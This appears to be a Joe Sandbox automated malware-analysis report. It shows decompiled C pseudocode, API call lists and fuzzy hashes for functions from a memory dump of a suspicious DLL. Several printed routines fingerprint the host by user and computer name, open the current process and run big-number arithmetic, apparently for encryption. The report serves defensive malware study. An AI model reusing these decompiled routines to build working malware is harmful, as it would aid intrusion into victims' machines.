                  • Opcode Fuzzy Hash: 65d6731efc231618897be39376f3cdc21dcad2824e9d5c6355f77909d5cd8b8c
                  • Instruction Fuzzy Hash: 62519E71A00228EBDF11CF99C8846AEFBB6EF85354F14805AEC19AB215C770D7D5CB94
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C51340 Relevance: 7.6, APIs: 5, Instructions: 83COMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E02C51340() {
				long _v8;
				long _v12;
				int _v16;
				long _t39;
				long _t43;
				signed int _t47;
				short _t51;
				signed int _t52;
				int _t56;
				int _t57;
				char* _t64;
				short* _t67;

				_v16 = 0;
				_v8 = 0;
				GetUserNameW(0,  &_v8);
				_t39 = _v8;
				if(_t39 != 0) {
					_v12 = _t39;
					_v8 = 0;
					GetComputerNameW(0,  &_v8);
					_t43 = _v8;
					if(_t43 != 0) {
						_t11 = _t43 + 2; // 0x7491c742
						_v12 = _v12 + _t11;
						_t64 = E02C533DC(_v12 + _t11 << 2);
						if(_t64 != 0) {
							_t47 = _v12;
							_t67 = _t64 + _t47 * 2;
							_v8 = _t47;
							if(GetUserNameW(_t67,  &_v8) == 0) {
								L7:
								E02C561DA(_t64);
							} else {
								_t51 = 0x40;
								 *((short*)(_t67 + _v8 * 2 - 2)) = _t51;
								_t52 = _v8;
								_v12 = _v12 - _t52;
								if(GetComputerNameW( &(_t67[_t52]),  &_v12) == 0) {
									goto L7;
								} else {
									_t56 = _v12 + _v8;
									_t31 = _t56 + 2; // 0x2c53e01
									_v12 = _t56;
									_t57 = WideCharToMultiByte(0xfde9, 0, _t67, _t56, _t64, _t56 + _t31, 0, 0);
									_v8 = _t57;
									if(_t57 == 0) {
										goto L7;
									} else {
										_t64[_t57] = 0;
										_v16 = _t64;
									}
								}
							}
						}
					}
				}
				return _v16;
			}















                  0x02c5134e
                  0x02c51351
                  0x02c51354
                  0x02c5135a
                  0x02c5135f
                  0x02c51365
                  0x02c5136d
                  0x02c51370
                  0x02c51376
                  0x02c5137b
                  0x02c51384
                  0x02c51388
                  0x02c51395
                  0x02c51399
                  0x02c5139b
                  0x02c5139f
                  0x02c513a2
                  0x02c513b2
                  0x02c51405
                  0x02c51406
                  0x02c513b4
                  0x02c513b9
                  0x02c513ba
                  0x02c513bf
                  0x02c513c2
                  0x02c513d5
                  0x00000000
                  0x02c513d7
                  0x02c513da
                  0x02c513df
                  0x02c513ed
                  0x02c513f0
                  0x02c513f6
                  0x02c513fb
                  0x00000000
                  0x02c513fd
                  0x02c513fd
                  0x02c51400
                  0x02c51400
                  0x02c513fb
                  0x02c513d5
                  0x02c5140b
                  0x02c5140c
                  0x02c5137b
                  0x02c51412

                  APIs
                  • GetUserNameW.ADVAPI32(00000000,02C53DFF), ref: 02C51354
                  • GetComputerNameW.KERNEL32(00000000,02C53DFF), ref: 02C51370
                    • Part of subcall function 02C533DC: RtlAllocateHeap.NTDLL(00000000,00000000,02C562F6), ref: 02C533E8
                  • GetUserNameW.ADVAPI32(00000000,02C53DFF), ref: 02C513AA
                  • GetComputerNameW.KERNEL32(02C53DFF,7491C740), ref: 02C513CD
                  • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,02C53DFF,00000000,02C53E01,00000000,00000000,?,7491C740,02C53DFF), ref: 02C513F0
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: Name$ComputerUser$AllocateByteCharHeapMultiWide
                  • String ID:
                  • API String ID: 3850880919-0
                  • Opcode ID: 3dec248928b95da195f054eb77afeb8ff8c3b9b8c9f1fa570a16ca4cb5b73093
                  • Instruction ID: 190f9212a3519456ca3027b727d56058696462a323a400a59c1068bcb864d2bc
                  • Opcode Fuzzy Hash: 3dec248928b95da195f054eb77afeb8ff8c3b9b8c9f1fa570a16ca4cb5b73093
                  • Instruction Fuzzy Hash: 1221FD75D00218FFCB11DFE5C988AEEBBB8EF88204B1445AAE905E7240D770DB85DB54
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C554D8 Relevance: 7.5, APIs: 5, Instructions: 37COMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E02C554D8(intOrPtr _a4) {
				void* _t2;
				unsigned int _t4;
				void* _t5;
				long _t6;
				void* _t7;
				void* _t15;

				_t2 = CreateEventA(0, 1, 0, 0);
				 *0x2c5a30c = _t2;
				if(_t2 == 0) {
					return GetLastError();
				}
				_t4 = GetVersion();
				if(_t4 != 5) {
					L4:
					if(_t15 <= 0) {
						_t5 = 0x32;
						return _t5;
					}
					L5:
					 *0x2c5a2fc = _t4;
					_t6 = GetCurrentProcessId();
					 *0x2c5a2f8 = _t6;
					 *0x2c5a304 = _a4;
					_t7 = OpenProcess(0x10047a, 0, _t6);
					 *0x2c5a2f4 = _t7;
					if(_t7 == 0) {
						 *0x2c5a2f4 =  *0x2c5a2f4 | 0xffffffff;
					}
					return 0;
				}
				if(_t4 >> 8 > 0) {
					goto L5;
				}
				_t15 = _t4 - _t4;
				goto L4;
			}









                  0x02c554e0
                  0x02c554e6
                  0x02c554ed
                  0x00000000
                  0x02c55547
                  0x02c554ef
                  0x02c554f7
                  0x02c55504
                  0x02c55504
                  0x02c55544
                  0x00000000
                  0x02c55544
                  0x02c55506
                  0x02c55506
                  0x02c5550b
                  0x02c5551d
                  0x02c55522
                  0x02c55528
                  0x02c5552e
                  0x02c55535
                  0x02c55537
                  0x02c55537
                  0x00000000
                  0x02c5553e
                  0x02c55500
                  0x00000000
                  0x00000000
                  0x02c55502
                  0x00000000

                  APIs
                  • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,02C55037,?), ref: 02C554E0
                  • GetVersion.KERNEL32 ref: 02C554EF
                  • GetCurrentProcessId.KERNEL32 ref: 02C5550B
                  • OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 02C55528
                  • GetLastError.KERNEL32 ref: 02C55547
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: Process$CreateCurrentErrorEventLastOpenVersion
                  • String ID:
                  • API String ID: 2270775618-0
                  • Opcode ID: c41574a8e19eb6053de9d7ca713fb93e265da3f9fbbc72bc83536f89908ba0ce
                  • Instruction ID: 41eecb6054f66aa183acd4b45e284779400c96d455be3647118987ec633a690b
                  • Opcode Fuzzy Hash: c41574a8e19eb6053de9d7ca713fb93e265da3f9fbbc72bc83536f89908ba0ce
                  • Instruction Fuzzy Hash: DEF081B09C0322DBD7104B22AC1AB193BA2AB88781F900F14EA1AE61D0D774C1E0CB59
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB644EA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102COMMON
                  Download Yara Rule
                  APIs
                  • __alloca_probe_16.LIBCMT ref: 6CB6455C
                  • GetStringTypeW.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,E8458D00), ref: 6CB645BA
                  • __freea.LIBCMT ref: 6CB645C9
                    • Part of subcall function 6CB61157: RtlAllocateHeap.NTDLL(00000000,00000000,?,?,6CB5A7BD,00000000,?,6CB42A0C,00000000,?,6CB419F5,00000000), ref: 6CB61189
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: AllocateHeapStringType__alloca_probe_16__freea
                  • String ID: RCi
                  • API String ID: 2035984020-2875014802
                  • Opcode ID: 253c447dff17713a1cd7f0c34a697ebff280ff440ff4b2bfc166e81b3989b12e
                  • Instruction ID: a52c705355e088661210eb921a617011ac328a4177d1b3770ac8d5836817cddf
                  • Opcode Fuzzy Hash: 253c447dff17713a1cd7f0c34a697ebff280ff440ff4b2bfc166e81b3989b12e
                  • Instruction Fuzzy Hash: D131D072A0169AABDF11CF6ACC54EEF7BA9EF45318F150128E814ABA50E734CD50CB91
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB58B2D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87COMMON
                  Download Yara Rule
                  APIs
                  Strings
                  • BSUZnYlubCPfUobkskAPwGSmwide, xrefs: 6CB58BE0
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: task
                  • String ID: BSUZnYlubCPfUobkskAPwGSmwide
                  • API String ID: 1384045349-1939733658
                  • Opcode ID: 99a3b794c42fcb16a0445c9110eaebaa4dffb99abb762fd1568b868ac56ac0f0
                  • Instruction ID: 0c686e336b7624f6e4d2d7c1c52794505120592802d8501072b113de2185ea4b
                  • Opcode Fuzzy Hash: 99a3b794c42fcb16a0445c9110eaebaa4dffb99abb762fd1568b868ac56ac0f0
                  • Instruction Fuzzy Hash: 0F418FB49092A88FCF25CB64CC54AEEB7B9AF89200F0080D9D14967715DF305F88DF61
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB6280D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45COMMON
                  Download Yara Rule
                  APIs
                  • GetModuleFileNameW.KERNEL32(?,?,00000105), ref: 6CB62832
                  • GetLastError.KERNEL32 ref: 6CB6283C
                  • __dosmaperr.LIBCMT ref: 6CB62843
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: ErrorFileLastModuleName__dosmaperr
                  • String ID: RCi
                  • API String ID: 4076908705-2875014802
                  • Opcode ID: 1c03f0b94e2bfffd447526d0a20618b1a06bce56f78a6fd15faeef917f952966
                  • Instruction ID: 23997b58a9d3668923561eeab4910dbfdc568c52bf9ccfc8d9bd5f1391143d21
                  • Opcode Fuzzy Hash: 1c03f0b94e2bfffd447526d0a20618b1a06bce56f78a6fd15faeef917f952966
                  • Instruction Fuzzy Hash: 8C116D7190025CABDF10DFA5DC4CBDEB7B8AF18304F1444D9E409E7640EB309A888F54
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB525FC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 25COMMON
                  Download Yara Rule
                  APIs
                  Strings
                  • wpdJAmIHjCwXvrSepeiy, xrefs: 6CB52612
                  • IqOoBNGdBhWctkaCbVBRyyjWSuxeeXiYmHBCj, xrefs: 6CB5263A
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: task
                  • String ID: IqOoBNGdBhWctkaCbVBRyyjWSuxeeXiYmHBCj$wpdJAmIHjCwXvrSepeiy
                  • API String ID: 1384045349-2933859699
                  • Opcode ID: d55168232ab926b9063c970e1c4145b23bd191f2f8a0d499f8e0057fd0b33898
                  • Instruction ID: 12c804c52515d6d2f61312fd9584099642172cd1e9a9f14b1967085a6b5d154a
                  • Opcode Fuzzy Hash: d55168232ab926b9063c970e1c4145b23bd191f2f8a0d499f8e0057fd0b33898
                  • Instruction Fuzzy Hash: 82F03A70D15298CACB10DF60CC59BECB774AF20208F5480A9C1156BA84DB782F58EF46
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C56CDF Relevance: 6.2, APIs: 4, Instructions: 154memorystringCOMMON
                  Download Yara Rule
                  C-Code - Quality: 46%
                  			E02C56CDF(intOrPtr* __eax) {
				void* _v8;
				WCHAR* _v12;
				void* _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v40;
				short _v48;
				intOrPtr _v56;
				short _v64;
				intOrPtr* _t54;
				intOrPtr* _t56;
				intOrPtr _t57;
				intOrPtr* _t58;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr* _t63;
				intOrPtr* _t65;
				short _t67;
				intOrPtr* _t68;
				intOrPtr* _t70;
				intOrPtr* _t72;
				intOrPtr* _t75;
				intOrPtr* _t77;
				intOrPtr _t79;
				intOrPtr* _t83;
				intOrPtr* _t87;
				intOrPtr _t103;
				intOrPtr _t109;
				void* _t118;
				void* _t122;
				void* _t123;
				intOrPtr _t130;

				_t123 = _t122 - 0x3c;
				_push( &_v8);
				_push(__eax);
				_t118 =  *((intOrPtr*)( *__eax + 0x48))();
				if(_t118 >= 0) {
					_t54 = _v8;
					_t103 =  *0x2c5a348; // 0xe7d5a8
					_t5 = _t103 + 0x2c5b038; // 0x3050f485
					_t118 =  *((intOrPtr*)( *_t54))(_t54, _t5,  &_v32);
					_t56 = _v8;
					_t57 =  *((intOrPtr*)( *_t56 + 8))(_t56);
					if(_t118 >= 0) {
						__imp__#2(0x2c59284);
						_v28 = _t57;
						if(_t57 == 0) {
							_t118 = 0x8007000e;
						} else {
							_t60 = _v32;
							_t61 =  *((intOrPtr*)( *_t60 + 0xbc))(_t60, _v28,  &_v24);
							_t87 = __imp__#6;
							_t118 = _t61;
							if(_t118 >= 0) {
								_t63 = _v24;
								_t118 =  *((intOrPtr*)( *_t63 + 0x24))(_t63,  &_v20);
								if(_t118 >= 0) {
									_t130 = _v20;
									if(_t130 != 0) {
										_t67 = 3;
										_v64 = _t67;
										_v48 = _t67;
										_v56 = 0;
										_v40 = 0;
										if(_t130 > 0) {
											while(1) {
												_t68 = _v24;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t123 = _t123;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t118 =  *((intOrPtr*)( *_t68 + 0x2c))(_t68,  &_v8);
												if(_t118 < 0) {
													goto L16;
												}
												_t70 = _v8;
												_t109 =  *0x2c5a348; // 0xe7d5a8
												_t28 = _t109 + 0x2c5b0e4; // 0x3050f1ff
												_t118 =  *((intOrPtr*)( *_t70))(_t70, _t28,  &_v16);
												if(_t118 >= 0) {
													_t75 = _v16;
													_t118 =  *((intOrPtr*)( *_t75 + 0x34))(_t75,  &_v12);
													if(_t118 >= 0 && _v12 != 0) {
														_t79 =  *0x2c5a348; // 0xe7d5a8
														_t33 = _t79 + 0x2c5b078; // 0x76006f
														if(lstrcmpW(_v12, _t33) == 0) {
															_t83 = _v16;
															 *((intOrPtr*)( *_t83 + 0x114))(_t83);
														}
														 *_t87(_v12);
													}
													_t77 = _v16;
													 *((intOrPtr*)( *_t77 + 8))(_t77);
												}
												_t72 = _v8;
												 *((intOrPtr*)( *_t72 + 8))(_t72);
												_v40 = _v40 + 1;
												if(_v40 < _v20) {
													continue;
												}
												goto L16;
											}
										}
									}
								}
								L16:
								_t65 = _v24;
								 *((intOrPtr*)( *_t65 + 8))(_t65);
							}
							 *_t87(_v28);
						}
						_t58 = _v32;
						 *((intOrPtr*)( *_t58 + 8))(_t58);
					}
				}
				return _t118;
			}





































                  0x02c56ce4
                  0x02c56ced
                  0x02c56cee
                  0x02c56cf2
                  0x02c56cf8
                  0x02c56cfe
                  0x02c56d07
                  0x02c56d0d
                  0x02c56d17
                  0x02c56d19
                  0x02c56d1f
                  0x02c56d24
                  0x02c56d2f
                  0x02c56d35
                  0x02c56d3a
                  0x02c56e5c
                  0x02c56d40
                  0x02c56d40
                  0x02c56d4d
                  0x02c56d53
                  0x02c56d59
                  0x02c56d5d
                  0x02c56d63
                  0x02c56d70
                  0x02c56d74
                  0x02c56d7a
                  0x02c56d7d
                  0x02c56d85
                  0x02c56d86
                  0x02c56d8a
                  0x02c56d8e
                  0x02c56d91
                  0x02c56d94
                  0x02c56d9a
                  0x02c56da3
                  0x02c56da9
                  0x02c56daa
                  0x02c56dad
                  0x02c56dae
                  0x02c56daf
                  0x02c56db7
                  0x02c56db8
                  0x02c56db9
                  0x02c56dbb
                  0x02c56dbf
                  0x02c56dc3
                  0x00000000
                  0x00000000
                  0x02c56dc9
                  0x02c56dd2
                  0x02c56dd8
                  0x02c56de2
                  0x02c56de6
                  0x02c56de8
                  0x02c56df5
                  0x02c56df9
                  0x02c56e01
                  0x02c56e06
                  0x02c56e18
                  0x02c56e1a
                  0x02c56e20
                  0x02c56e20
                  0x02c56e29
                  0x02c56e29
                  0x02c56e2b
                  0x02c56e31
                  0x02c56e31
                  0x02c56e34
                  0x02c56e3a
                  0x02c56e3d
                  0x02c56e46
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02c56e46
                  0x02c56d9a
                  0x02c56d94
                  0x02c56d7d
                  0x02c56e4c
                  0x02c56e4c
                  0x02c56e52
                  0x02c56e52
                  0x02c56e58
                  0x02c56e58
                  0x02c56e61
                  0x02c56e67
                  0x02c56e67
                  0x02c56d24
                  0x02c56e70

                  APIs
                  • SysAllocString.OLEAUT32(02C59284), ref: 02C56D2F
                  • lstrcmpW.KERNEL32(00000000,0076006F), ref: 02C56E10
                  • SysFreeString.OLEAUT32(00000000), ref: 02C56E29
                  • SysFreeString.OLEAUT32(?), ref: 02C56E58
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: String$Free$Alloclstrcmp
                  • String ID:
                  • API String ID: 1885612795-0
                  • Opcode ID: 1da9fcbdb7649eb1d7933029e2deac4e2bb0d3ab460a3c5a4b96746b5951be76
                  • Instruction ID: 830d53f3d004d50382ea27a1c9a3189ec4fa073a0c568a886350282074795c83
                  • Opcode Fuzzy Hash: 1da9fcbdb7649eb1d7933029e2deac4e2bb0d3ab460a3c5a4b96746b5951be76
                  • Instruction Fuzzy Hash: 8D514175D00629EFCB01DFA8C4889AEB7BAFF89705B244994ED15EB210D771ED81CB90
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C5597D Relevance: 6.2, APIs: 4, Instructions: 154memoryCOMMON
                  Download Yara Rule
                  APIs
                  • SysAllocString.OLEAUT32(?), ref: 02C559B8
                  • SysFreeString.OLEAUT32(00000000), ref: 02C55A9D
                    • Part of subcall function 02C56CDF: SysAllocString.OLEAUT32(02C59284), ref: 02C56D2F
                  • SafeArrayDestroy.OLEAUT32(00000000), ref: 02C55AF0
                  • SysFreeString.OLEAUT32(00000000), ref: 02C55AFF
                    • Part of subcall function 02C577E3: Sleep.KERNEL32(000001F4), ref: 02C5782B
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: String$AllocFree$ArrayDestroySafeSleep
                  • String ID:
                  • API String ID: 3193056040-0
                  • Opcode ID: cdebe1ecc25a14ea4280496dd4dabecf17e7e4276f4e2b75b9e69ad44a076fe1
                  • Instruction ID: d96f946543153c3d83f35afd16c2599c266559c59271c977cbd89bc5da6b9c0f
                  • Opcode Fuzzy Hash: cdebe1ecc25a14ea4280496dd4dabecf17e7e4276f4e2b75b9e69ad44a076fe1
                  • Instruction Fuzzy Hash: EE516275900619AFDB01CFA8C884AAEB7B6FFC8744F148929E905DB210DB31DD85CB50
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C54781 Relevance: 6.1, APIs: 4, Instructions: 136COMMON
                  Download Yara Rule
                  C-Code - Quality: 85%
                  			E02C54781(signed int __eax, void* __eflags, intOrPtr _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				void _v156;
				void _v428;
				void* _t55;
				unsigned int _t56;
				signed int _t66;
				signed int _t74;
				void* _t76;
				signed int _t79;
				void* _t81;
				void* _t92;
				void* _t96;
				signed int* _t99;
				signed int _t101;
				signed int _t103;
				void* _t107;

				_t92 = _a12;
				_t101 = __eax;
				_t55 = E02C561EF(_a16, _t92);
				_t79 = _t55;
				if(_t79 == 0) {
					L18:
					return _t55;
				}
				_t56 =  *(_t92 + _t79 * 4 - 4);
				_t81 = 0;
				_t96 = 0x20;
				if(_t56 == 0) {
					L4:
					_t97 = _t96 - _t81;
					_v12 = _t96 - _t81;
					E02C56725(_t79,  &_v428);
					 *((intOrPtr*)(_t107 + _t101 * 4 - 0x1a8)) = E02C57477(_t101,  &_v428, _a8, _t96 - _t81);
					E02C57477(_t79,  &_v156, _a12, _t97);
					_v8 =  *((intOrPtr*)(_t107 + _t79 * 4 - 0x9c));
					_t66 = E02C56725(_t101, 0x2c5a1d0);
					_t103 = _t101 - _t79;
					_a8 = _t103;
					if(_t103 < 0) {
						L17:
						E02C56725(_a16, _a4);
						E02C57894(_t79,  &_v428, _a4, _t97);
						memset( &_v428, 0, 0x10c);
						_t55 = memset( &_v156, 0, 0x84);
						goto L18;
					}
					_t99 = _t107 + (_t103 + _t79) * 4 - 0x1a8;
					do {
						if(_v8 != 0xffffffff) {
							_push(1);
							_push(0);
							_push(0);
							_push( *_t99);
							L02C582DA();
							_t74 = _t66 +  *(_t99 - 4);
							asm("adc edx, esi");
							_push(0);
							_push(_v8 + 1);
							_push(_t92);
							_push(_t74);
							L02C582D4();
							if(_t92 > 0 || _t74 > 0xffffffff) {
								_t74 = _t74 | 0xffffffff;
								_v16 = _v16 & 0x00000000;
							}
						} else {
							_t74 =  *_t99;
						}
						_t106 = _t107 + _a8 * 4 - 0x1a8;
						_a12 = _t74;
						_t76 = E02C55F09(_t79,  &_v156, _t92, _t107 + _a8 * 4 - 0x1a8, _t107 + _a8 * 4 - 0x1a8, _t74);
						while(1) {
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							L13:
							_t92 =  &_v156;
							if(E02C56E71(_t79, _t92, _t106) < 0) {
								break;
							}
							L14:
							_a12 = _a12 + 1;
							_t76 = E02C510A0(_t79,  &_v156, _t106, _t106);
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							goto L13;
						}
						_a8 = _a8 - 1;
						_t66 = _a12;
						_t99 = _t99 - 4;
						 *(0x2c5a1d0 + _a8 * 4) = _t66;
					} while (_a8 >= 0);
					_t97 = _v12;
					goto L17;
				}
				while(_t81 < _t96) {
					_t81 = _t81 + 1;
					_t56 = _t56 >> 1;
					if(_t56 != 0) {
						continue;
					}
					goto L4;
				}
				goto L4;
			}





















                  0x02c54784
                  0x02c54790
                  0x02c54796
                  0x02c5479b
                  0x02c5479f
                  0x02c54911
                  0x02c54915
                  0x02c54915
                  0x02c547a5
                  0x02c547a9
                  0x02c547ad
                  0x02c547b0
                  0x02c547bb
                  0x02c547c1
                  0x02c547c6
                  0x02c547c9
                  0x02c547e3
                  0x02c547f2
                  0x02c547fe
                  0x02c54808
                  0x02c5480d
                  0x02c5480f
                  0x02c54812
                  0x02c548c9
                  0x02c548cf
                  0x02c548e0
                  0x02c548f3
                  0x02c54909
                  0x00000000
                  0x02c5490e
                  0x02c5481b
                  0x02c54822
                  0x02c54826
                  0x02c5482c
                  0x02c5482e
                  0x02c54830
                  0x02c54832
                  0x02c54834
                  0x02c5483e
                  0x02c54843
                  0x02c54845
                  0x02c54847
                  0x02c54848
                  0x02c54849
                  0x02c5484a
                  0x02c54851
                  0x02c54858
                  0x02c5485b
                  0x02c5485b
                  0x02c54828
                  0x02c54828
                  0x02c54828
                  0x02c54863
                  0x02c5486b
                  0x02c54877
                  0x02c5487c
                  0x02c5487c
                  0x02c54881
                  0x00000000
                  0x00000000
                  0x02c54883
                  0x02c54886
                  0x02c54893
                  0x00000000
                  0x00000000
                  0x02c54895
                  0x02c54895
                  0x02c548a2
                  0x02c5487c
                  0x02c54881
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02c54881
                  0x02c548ac
                  0x02c548af
                  0x02c548b2
                  0x02c548b9
                  0x02c548b9
                  0x02c548c6
                  0x00000000
                  0x02c548c6
                  0x02c547b2
                  0x02c547b6
                  0x02c547b7
                  0x02c547b9
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02c547b9
                  0x00000000

                  APIs
                  • _allmul.NTDLL(?,00000000,00000000,00000001), ref: 02C54834
                  • _aulldiv.NTDLL(00000000,?,00000100,00000000), ref: 02C5484A
                  • memset.NTDLL ref: 02C548F3
                  • memset.NTDLL ref: 02C54909
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: memset$_allmul_aulldiv
                  • String ID:
                  • API String ID: 3041852380-0
